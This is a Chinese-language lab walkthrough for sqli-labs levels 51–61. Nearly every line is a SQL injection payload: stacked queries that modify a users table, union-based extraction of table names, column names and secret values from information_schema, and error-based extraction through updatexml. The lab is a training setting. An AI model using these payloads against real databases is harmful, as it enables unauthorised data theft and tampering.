sqli-labs-master/Less-51~Less-61
Less-51
这一关通过查看源代码可知,这一关是字符型以分号的方式闭合的。
那我们构造语句
?sort=1';update users set username='ZZKK' where id=1 -- 1
发现插入数据成功。
Less-52
这一关仍然是堆叠注入,闭合方式位数字型
?sort=1;update users set username='ZZKK' where id=1 -- 1
堆叠注入攻击成功。
Less-53
这一关还是老样子。堆叠注入。
?sort=1';update users set username='ZKK' where id=1 -- 1
注意堆叠注入原理,是利用数据库支持多条 SQL 语句同时执行(通过分号分隔)的特性,在正常语句后追加恶意 SQL 语句实现攻击。
你可以构造任何的语句来攻击。
Less-54
重这一关开始他对我们的查询次数做了限制,这一关他要求我们10次查询爆出字段信息。
注意这个表和数据生成后,都是随机的。参考的我下面的语法时要注意
先判断闭合,先试一下单引号。
?id=-1') union select 1,2,3 and 1=('1
发现回显点也正常。
那接下来我们直接爆库。
?id=-1' union select 1,database(),3 and 1='1
然后爆表
?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),3 and 1='1
爆字段
?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='v35v8dtr7b'),3 and 1='1
爆字段信息
?id=-1' union select 1,(select secret_V535 from kv3lrjc74u),3 and 1='1
然后下面填入我们刚才爆出的密钥
完成。
Less-55
这一关,还是判断闭合,老套路。试了一下,把次数试没了,重置数据库。。。。
还是查看源代码吧。
?id=1) union select 1,2,3--%20
回显点正常。不错,下面就参考上一关的语法。
Less-56
判断闭合方式,次数试没了就重置数据库
?id=-1') union select 1,2,3 and 1=('1
有回显点,下面我就不演示了,参考上面
Less-57
接着试闭合,双引号闭合。换汤不换药,秒了
?id=-1" union select 1,2,3 and 1="1
Less-58
这一关就和上面不一样了,这里只有5次机会了,尝试了一下发现没有回显,但是有sql语句报错回显。所以我们使用报错注入。
先爆库
?id=1'and updatexml(0x7e,concat(1,database()),0x7e)-- %20
再爆表
?id=1'and updatexml(0x7e,concat(1,(select table_name from information_schema.tables where table_schema='challenges')),0x7e)--%20
然后爆字段
?id=1'and updatexml(0x7e,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='cb3groiezl')),0x7e)--%20
然后爆字段信息
?id=1'and updatexml(0x7e,concat(1,(select secret_N6EC from cb3groiezl)),0x7e)-- %20
然后将查出来的密钥,填入下面即可。
完成。
Less-59
和上一关一样。数字型。
?id=1 and updatexml(0x7e,concat(1,database()),0x7e)-- %20
然后下面的步骤和之前一样。
Less-60
这一关仍然一样。双引号括号闭合
?id=1") and updatexml(0x7e,concat(1,database()),0x7e)-- %20
Less-61
这一关闭合方式为单引号括号括号。
?id=1')) and updatexml(0x7e,concat(1,database()),0x7e)-- %20
步骤还是跟上面一样。